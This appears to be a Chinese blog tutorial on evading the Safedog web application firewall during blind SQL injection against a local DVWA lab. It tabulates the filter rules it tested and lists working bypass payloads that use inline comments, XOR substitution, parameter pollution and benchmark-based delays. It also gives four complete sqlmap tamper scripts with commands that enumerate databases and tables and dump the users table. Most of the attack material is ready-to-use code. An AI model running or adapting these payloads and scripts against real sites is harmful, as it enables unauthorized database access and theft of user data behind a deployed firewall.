一、环境配置
靶机使用的版本:安全狗v4.0+dvwa
二、绕过思路如下
说明一下:盲注的流程
1.进行判断是否有注入(首先要确定闭合)
and 1=1
2.使用条件 语句和时间函数来判断是否可以延时
and if(length(database())>1,sleep(5),1)
3.使用ascii()等和字符截取函数判断sql语句查询出来的值
and if(ascii(substr(sql语句,1,1))>=1,sleep(1),1)
4.使用sql语句时,如果waf对其中的内容拦截了,要进行绕过
1.and 和 = 绕过
基类: and 1=1
第一种绕过方式:数据库层绕过,安全狗会检测内联注释内容+参数污染
id=2/*&id=1/*!and*/1=1 %23
第二种绕过方式:一些函数
测试安全狗基础数据类型过滤规则
规则 | 是否过滤 |
---|---|
and+整形 | 过滤 |
and+字符串 | 过滤 |
and+浮点型 | 过滤 |
and+布尔型 | 过滤 |
and+NULL | 不过滤 |
and+数组 | 不过滤 |
and+函数 | 敏感函数过滤 |
= | 不过滤 |
大胆猜测and与=之间的过滤关系
and+=+任何数据类型,都会被过滤
and与=之间,如果有其它符号(未被过滤的符号),就可以扰乱and与=之间的判断
例如:!(安全狗直接忽略掉内联注释)、+、-
规则 | 是否过滤 |
---|---|
and+函数=函数 | 过滤 |
and+函数%2b1=函数%2b1 | 过滤 |
and+函数-1=函数-1 | 不过滤 |
and+函数!=函数 | 不过滤 |
and+函数 IS NOT NULL | 不过滤 |
and+函数*1=函数 | 不过滤 |
and+函数/1=函数 | 不过滤 |
and+curdate()curdate() | 不过滤 |
and+curdate() | 不过滤 |
and+curdate() between 1 and curdate() | 不过滤 |
and+curdate() not in (1,2) | 不过滤 curdate() xor 0 |
将and替换为xor也可以进行绕过
1.1小结
绕过思路: 1.and在数据库中是逻辑运算符,所以我们可以用xor进行代替
2.内联注释和参数污染结合使用可以进行绕过(这是特例)
3.对于and 1=1,如果我们不替换and,可以尝试替换and之后的数据类型或者增加一些运算符号,来干扰waf的判断从而进行绕过
ps:下面的盲注方法,采用的是第一种绕过思路
2.延时函数的绕过
基类: and if(length(database())>1,sleep(5),1)%23
延时的方法
规则 | 是否过滤 |
---|---|
sleep(5) | 过滤 |
benchmark(10000000,sha(1)) | 不过滤 |
/*!sleep*//*!(5)*/ |
不过滤 |
对于if判断语句的绕过
1.and if的形式
使用内联注释也被过滤
所以对and进行替换
xor /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
^ /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
/*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
and case when 1!=0 then /*!sleep*//*!(5)*/ else 0 end %23
2.1小结
绕过思路: 1.我们可以使用内联注释来绕过函数的检测
3.对select from进行绕过
‘ xor /*!if*/((/*!ascii*/(substr((select(table_name)from information_schema.tables where table_schema=’pikachu’ limit 0,1),1,1))>=1),/*!sleep*//*!(1)*/,1)%23
3.1小结
绕过思路:1.这里经过多种方法测试,使用括号可以进行绕过
三、半自动化tamper编写
说明:
1.使用sqlmap的时候,其中的注入语句跟上面有差异,但大体的绕过思路是一样的
简要分析一下替换规则
and => xor if => /*!if*/ ascii=>/*!ascii*/ select from => select()from sleep(1) => /*!sleep*//*!(1)*/
2.使用sqlmap的时候需要使用–random-agent参数,需要绕过安全狗,因为安全狗会根据agent头来过滤掉sqlmap
对于使用-u参数的tamper
sqlmap -u “http://192.168.98.193/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=bu6cfldhkiklcvfah46tf7bos7″ –tamper u.py –random-agent
u.py
#! /usr/bin/env python import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL test3 = ['sleep','(1)','SLEEP','(2)','(3)','(4)','(5)','(0)','DATABASE','()'] def dependencies(): pass def tamper(payload,**kwargs): payload = payload.replace("AND", "XOR") payload = payload.replace("IF", "/*!IF*/") payload = payload.replace("ASCII", "/*!ASCII*/") for test2 in test3: payload = payload.replace(test2, "/*!" + test2 + "*/") print(payload) return payload
说明:对于上面的print(payload)可以观察注入语句,进而修改
查库、查表
sql注入语句
sqlmap -u “http://192.168.98.193/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=bu6cfldhkiklcvfah46tf7bos7″ –tamper ku.py –random-agent –current-db
sqlmap -u “http://192.168.98.193/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=bu6cfldhkiklcvfah46tf7bos7″ –tamper ku.py –random-agent -D dvwa –tables
说明一下sqlmap的注入语句
XOR (SELECT 7146 FROM (SELECT(/*!SLEEP*/(5-(/*!IF*/(ORD(MID((IFNULL(CAST(/*!DATABASE*//*!()*/ AS CHAR),0x20)),1,1))>32,0,5)))))KvCU)
经过本地测试,规则替换使IFNULL出错
说明:经过上面测试,使用xor的话不用内联注释IF,所以查询数据库时,可以把上面的IF内联注释语句删除掉。
ku.py
#! /usr/bin/env python import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL test3 = ['sleep','(1)','SLEEP','(2)','(3)','(4)','(5)','(0)','DATABASE','()'] def dependencies(): pass def tamper(payload,**kwargs): payload = payload.replace("AND", "XOR") payload = payload.replace("ASCII", "/*!ASCII*/") for test2 in test3: payload = payload.replace(test2, "/*!" + test2 + "*/") print(payload) return payload
查字段
说明:因为xor的替换关系,使用表名和数据库名作为条件带入查询时,原来的and连接被改用了xor连接。这里要替换回来,否则查询结果与数据库结果不一致。
因为XOR的关系,这里爆出来的columns值与真实的不符,所以要改为and。但是改为and后,and ‘xx’=’xx
会被安全狗拦截,所以这里也要更换。
sqlmap -u “http://192.168.98.193/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=bu6cfldhkiklcvfah46tf7bos7″ –tamper lie.py –random-agent -D dvwa -T users –columns
lie.py
#! /usr/bin/env python import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL test3 = ['sleep','(1)','SLEEP','(2)','(3)','(4)','(5)','(0)','DATABASE','()'] def dependencies(): pass def tamper(payload,**kwargs): payload = payload.replace("AND", "XOR") payload = payload.replace("ASCII", "/*!ASCII*/") for test2 in test3: payload = payload.replace(test2, "/*!" + test2 + "*/") payload = payload.replace("table_name=0x7573657273 XOR table_schema=0x64767761","table_name=0x7573657273 %26%26 table_schema=0x64767761") try: pattern = re.compile(r'(.*?)XOR(.*?)XOR(.*)') test = re.search(pattern,payload) payload = payload.replace(test.group(3)," '") except: pass print(payload) return payload
查字段值
说明:由于order by字段被waf拦截,所以我们这里需要绕过order by。这里删除即可。
sqlmap -u “http://192.168.98.193/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=bu6cfldhkiklcvfah46tf7bos7″ –tamper ziduan.py –random-agent -D dvwa -T users -C user –dump
ziduan.py
#! /usr/bin/env python import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL test3 = ['sleep','(1)','SLEEP','(2)','(3)','(4)','(5)','(0)','DATABASE','()'] def dependencies(): pass def tamper(payload,**kwargs): payload = payload.replace("AND", "XOR") payload = payload.replace("ASCII", "/*!ASCII*/") for test2 in test3: payload = payload.replace(test2, "/*!" + test2 + "*/") payload = payload.replace("table_name=0x7573657273 XOR table_schema=0x64767761","table_name=0x7573657273 %26%26 table_schema=0x64767761") try: pattern = re.compile(r'(.*?)XOR(.*?)XOR(.*)') test = re.search(pattern,payload) payload = payload.replace(test.group(3)," '") except: pass payload = payload.replace(" ORDER BY `user`","") print(payload) return payload
请登录后发表评论
注册